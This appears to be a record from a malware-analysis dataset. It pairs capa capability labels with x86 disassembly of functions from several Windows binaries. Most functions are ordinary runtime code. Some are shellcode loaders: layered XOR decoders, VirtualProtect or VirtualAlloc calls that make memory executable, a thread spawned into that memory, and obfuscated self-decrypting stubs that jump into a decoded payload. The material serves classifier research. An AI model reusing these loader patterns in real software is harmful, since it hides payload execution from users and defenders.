joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406450
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sub.ucrtbase.dll__configure_wide_argv
call sub.ucrtbase.dll__initialize_wide_environment
call sub.ucrtbase.dll___p___argc
mov esi, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov edi, dword [eax]
call sub.ucrtbase.dll__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call 0x406450
mov dword [esp], eax
call sub.ucrtbase.dll_exit
nop
nop
nop
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x58
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x4064db
cmp ax, 9
je 0x4064c8
cmp ax, 0x20
je 0x4064c8
mov dword [ebp - 0x54], 0
xor esi, esi
nop
cmp ax, 0x5c
je 0x406530
cmp ax, 0x22
je 0x406540
mov dword [ebp - 0x54], 0
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x4064db
cmp ax, 9
sete dl
cmp ax, 0x20
sete cl
or dl, cl
je 0x406480
test esi, 1
jne 0x406480
lea esi, [esi]
movzx eax, word [ebx + 2]
add ebx, 2
cmp ax, 9
je 0x4064c8
cmp ax, 0x20
je 0x4064c8
lea eax, [ebp - 0x50]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x24], 1
je 0x406558
movzx esi, word [ebp - 0x20]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00404a10
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
add dword [ebp - 0x54], 1
jmp 0x40649b
and dword [ebp - 0x54], 1
jne 0x406494
xor esi, 1
jmp 0x40649b
mov eax, 1
mov esi, 1
mov word [ebp - 0x20], ax
jmp 0x4064f4
Function at 0x40238f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x20c
mov eax, dword [0x42d040]
xor eax, esp
mov dword [esp + 0x208], eax
mov eax, dword [esp + 0x210]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x224]
mov ebp, pe_nt_image_headers32
push edi
xor edi, edi
mov dword [esp + 0x14], eax
mov ecx, edi
mov eax, ecx
mov byte [esp + ecx + 0x18], cl
cdq
idiv dword [esp + 0x22c]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x4023c2
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x402406
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x4023e3
mov ebx, edi
mov ebp, edi
cmp dword [esp + 0x224], ebx
jle 0x4024b7
inc edi
and edi, 0x800000ff
jns 0x402439
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x18]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x402452
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
sub esp, 0x10
movaps xmm0, xmmword [0x423400]
mov byte [esp + edi + 0x28], al
mov byte [esp + ebx + 0x28], cl
movups xmmword [esp], xmm0
call fcn.0040aa10
add esp, 0xc
mov ecx, 0x42e098
fstp dword [esp + 0x14]
movss xmm0, dword [esp + 0x14]
movss dword [esp], xmm0
call fcn.00402081
push eax
call fcn.004019ae
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + ebp], al
inc ebp
cmp ebp, dword [esp + 0x224]
jl 0x402428
mov ecx, dword [esp + 0x218]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040616c
add esp, 0x20c
ret

Function at 0x403087
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [esp + 0x10], esi
jbe 0x4030c4
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x15
push 0
mov byte [edi + esi], al
call dword [sym.imp.USER32.DLL_OpenIcon]
mov al, byte [edi + esi]
sub al, 0x57
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edi + esi], al
inc esi
cmp esi, dword [esp + 0x10]
jb 0x403095
pop edi
pop esi
ret

Function at 0x403d2f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push edi
push eax
push 0x40
mov edi, 0x4ac
mov esi, 0x460a30
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
push edi
push esi
call fcn.00403087
pop ecx
pop ecx
call fcn.0040306d
mov edx, 0x460a30
add edx, 0x188
mov esi, 0x42f030
push esi
call edx
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x40e083
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419408]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004094ef
mov dword [ebp - 0x14], eax
cmp dword [0x81401c], esi
jne 0x40e176
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40e103
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40e256
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40e256
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40e256
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x81401c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x814020], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x814024], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x81402c], eax
test eax, eax
je 0x40e173
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x814028], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40e19b
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40e18e
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40e1b0
push 4
pop eax
jmp 0x40e258
cmp dword [ebp - 0x14], esi
je 0x40e1b0
push dword [0x81401c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40e195
mov eax, dword [0x814028]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40e20e
cmp dword [0x81402c], edi
je 0x40e20e
push eax
call ebx
push dword [0x81402c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40e20e
test eax, eax
je 0x40e20e
call ecx
test eax, eax
je 0x40e203
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40e203
test byte [ebp - 8], 1
jne 0x40e20e
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40e23e
mov eax, dword [0x814020]
cmp eax, edi
je 0x40e23b
push eax
call ebx
test eax, eax
je 0x40e23b
call eax
mov esi, eax
test esi, esi
je 0x40e23b
mov eax, dword [0x814024]
cmp eax, edi
je 0x40e23b
push eax
call ebx
test eax, eax
je 0x40e23b
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x81401c]
call ebx
test eax, eax
je 0x40e256
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40e258
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004040ec
mov esp, ebp
pop ebp
ret
Function at 0x402846
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [esp + 0x10], esi
jbe 0x402893
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x58
push 0x422370
push 0x42cff0
mov byte [edi + esi], al
call fcn.0040115a
push eax
call fcn.004017de
mov al, byte [edi + esi]
add esp, 0xc
sub al, 0x14
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edi + esi], al
inc esi
cmp esi, dword [esp + 0x10]
jb 0x402854
pop edi
pop esi
ret

Function at 0x402d1c
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x42c040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x422398
lea ecx, [ebp - 0x1c]
call fcn.004018d8
push 0xc
call fcn.00404f9f
xor esi, esi
pop ecx
test eax, eax
je 0x402d55
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.00401931
jmp 0x402d57
mov eax, esi
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x471820
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
push esi
push esi
push esi
push 0x402834
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
call fcn.0040281a
mov edx, 0x471820
add edx, 0x188
mov esi, 0x42e020
push esi
call edx
lea ecx, [ebp - 0x1c]
call fcn.004026e0
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.00404fdd
leave
ret

Function at 0x405797
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x4057d6
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4057d6
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4057d6
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4057d6
cmp dword [ecx + 0x74], 0xe
jbe 0x4057d6
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x412277
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x425ed0
push 0x425ec8
push 0x423c84
push 0x1e
call fcn.004120e4
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4122ab
push dword [ebp + 8]
mov ecx, esi
call dword [0x42213c]
call esi
jmp 0x4122b1
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x414922
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004145c4

Function at 0x41492d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00414753
Function at 0x415f98
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00405b10
mov eax, dword [0x42c040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00413750
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x415fda
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x416136
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00420970
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x42d980]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.004163be
mov ecx, dword [esi*4 + 0x42d980]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41612f
cmp eax, dword [edi + ecx + 0x24]
jne 0x41612f
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x41612f
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004163be
add esp, 0x14
test edx, edx
jl 0x41612f
jg 0x4160a5
test eax, eax
jb 0x41612f
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41612f
jl 0x4160bf
cmp dword [ebp - 0x1008], eax
ja 0x41612f
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4160dd
test ebx, ebx
je 0x416116
cmp ecx, edi
jae 0x416116
mov al, byte [ecx]
cmp al, 0xd
jne 0x4160f7
lea eax, [edi - 1]
cmp ecx, eax
jae 0x416103
cmp byte [ecx + 1], 0xa
jne 0x416103
inc ecx
jmp 0x416103
movzx eax, al
movsx eax, byte [eax + 0x42c9c0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4160dd
cmp edx, ebx
jne 0x4160dd
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x416134
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00404fdd
leave
ret
Function at 0x4185c8
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x418665
push ebx
push esi
call fcn.00418591
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00417216
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x418612
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x418664
push edi
push eax
call fcn.004128aa
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x418632
call fcn.00411bbb
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x418663
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00417216
add esp, 0x20
test eax, eax
jne 0x418651
push edi
call fcn.00411bbb
jmp 0x418659
push ebx
call fcn.00411bbb
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x41d1fb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x42d980]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41d23b
cmp byte [ebx], 0xa
jne 0x41d23b
or byte [eax + edi + 0x28], 4
jmp 0x41d240
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41d33e
mov al, byte [edx]
cmp al, 0x1a
je 0x41d320
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41d26f
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41d294
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41d29e
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41d251
jmp 0x41d33e
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x41d31b
cmp dword [ebp - 0xc], 0
je 0x41d31b
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x42d980]
test byte [eax + edi + 0x28], 0x48
je 0x41d2f5
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41d2e0
mov byte [esi], dl
jmp 0x41d2f1
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x42d980]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41d33e
cmp byte [ebp - 1], 0xa
jne 0x41d304
cmp esi, ebx
jne 0x41d304
mov byte [esi], 0xa
jmp 0x41d33d
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004163dc
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41d33e
mov byte [esi], 0xd
jmp 0x41d33d
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x42d980]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41d33a
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41d33e
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41d347
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x42d980]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41d38a
cmp word [esi], dx
jne 0x41d38a
or byte [edi + eax + 0x28], 4
jmp 0x41d38f
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41d4e2
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41d4c2
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41d3d1
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41d407
cmp eax, edx
jae 0x41d413
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41d3a9
jmp 0x41d4e2
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x41d4be
cmp dword [ebp - 0x14], 0
je 0x41d4be
mov eax, dword [ebx*4 + 0x42d980]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41d496
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x41d45f
mov word [esi], cx
jmp 0x41d492
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x42d980]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x42d980]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x42d980]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41d4e2
pop ebx
cmp word [ebp - 4], bx
jne 0x41d4a7
cmp esi, dword [ebp + 0xc]
jne 0x41d4a7
mov word [esi], bx
jmp 0x41d4df
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004163dc
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41d4e2
push 0xd
jmp 0x41d4db
mov ecx, dword [ebx*4 + 0x42d980]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41d4d9
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41d4e2
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x420770
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42079d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42079d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10014d90
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x1001f83c]
push dword [esp + 4]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x234]
call eax
test eax, eax
je 0x10014dd2
push 0x51b
push str.hprof_util.c
push str.Unable_to_get_necessary_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret

Function at 0x10016400
Capabilities:
Terminate process

Disassembly:
mov edx, dword [esp + 4]
xorps xmm0, xmm0
push edx
movups xmmword [edx], xmm0
mov eax, dword [0x1001f83c]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x22c]
call eax
test eax, eax
je 0x10016449
push 0x50e
push str.hprof_util.c
push str.Unable_to_get_potential_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret

Function at 0x10017fde
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10017fed
pop dword [ebp - 0xc]
mov eax, 0x10017fed
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x710f704e
sub dword [ebp - 0x1c], 0x22bd2b03
mov dword [ebp - 0x18], 0x1b7e8569
add dword [ebp - 0x18], 0x16b4c6dc
mov dword [ebp - 0x14], 0x13487675
add dword [ebp - 0x14], 0x3903cdb9
mov dword [ebp - 0x10], 0xff8905e
sub dword [ebp - 0x10], 0xff8905e
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xc49cc431
add eax, 0x4b64cc0b
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x989f76fe
add dword [ebp - 0x1c], 0xdbd2f258
mov dword [ebp - 0x18], 0x8c80801b
add dword [ebp - 0x18], 0xb4ebe15a
mov dword [ebp - 0x14], 0x179b7a5d
add dword [ebp - 0x14], 0x4bd3f20f
mov dword [ebp - 0x10], 0xf7ad8176
sub dword [ebp - 0x10], 0xf7ad8176
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xdb275245
add eax, 0x34da3df3
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3b062
push 0
call eax
mov ecx, 0x8534b32
sub ecx, 0x852f12a
mov edi, eax
mov ebx, 0x10022800
add ebx, dword [ebp - 0xc]
mov edx, 0x12b4eee4
add edx, 0x6b2b82ce
add dword [ebp - 4], ebx
mov esi, dword [ebx]
mov dword [ebp - 8], 0x88042630
xor esi, edx
xor dword [ebp - 4], 0x7c334f35
mov dword [edi], esi
add edi, 0x8bd1168e
sub edi, 0x8bd1168a
add ebx, 0x274d4bdc
add ebx, 0xd8b2b428
loop 0x10018104
add eax, 0x327e78e0
add eax, 0xcd82e213
mov ebx, eax
add eax, 0x529be0fd
add eax, 0xad641f08
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x4015245
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4008bc0]
jne 0x401524e
ret
jmp fcn.040155ef

Function at 0x4015f13
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x4015f22
pop dword [ebp - 0x10]
mov eax, 0x4015f22
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xbd636f59
add dword [ebp - 0x20], 0x90eed5f2
mov dword [ebp - 0x1c], 0x254d4c5d
add dword [ebp - 0x1c], 0xce5ffe8
mov dword [ebp - 0x18], 0x436461f8
add dword [ebp - 0x18], 0x8e7e236
mov dword [ebp - 0x14], 0x731479c
sub dword [ebp - 0x14], 0x731479c
lea eax, [ebp - 0x20]
push eax
mov eax, 0x2cc0ab22
sub eax, 0x28c09b0a
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xedf32918
add dword [ebp - 0x20], 0x867f403e
mov dword [ebp - 0x1c], 0xeb4ef5db
sub dword [ebp - 0x1c], 0xa9e29466
mov dword [ebp - 0x18], 0xe47d14b3
add dword [ebp - 0x18], 0x7ef257b9
mov dword [ebp - 0x14], 0xdade3f3a
add dword [ebp - 0x14], 0x2521c0c6
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xc847f6a3
sub eax, 0xc447e62b
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x34508
push 0
call eax
mov ecx, 0x36720a7a
sub ecx, 0x3671cb3f
xor edi, edi
add edi, eax
mov ebx, 0xb14a849b
sub ebx, 0xad40849b
add ebx, dword [ebp - 0x10]
mov esi, 0x3cf7f7ae
add esi, 0x871dd3c4
sub dword [ebp - 8], 0x180c0802
mov edx, dword [ebx]
xor dword [ebp - 8], 0xfd858f05
add edx, esi
xor dword [ebp - 0xc], 0x5511cf1d
mov dword [edi], edx
add dword [ebp - 4], 0xeb781207
add edi, 0xb86af09e
sub edi, 0xb86af09a
add ebx, 0xcbc74242
add ebx, 0x3438bdc2
loop 0x4016041
add eax, 0xb1cd95af
sub eax, 0xb1cca5f0
mov ebx, eax
add eax, 5
mov ecx, 0x20101606
add ecx, 0xe3efe9fa
add ecx, dword [ebp - 0x10]
call ebx
leave
ret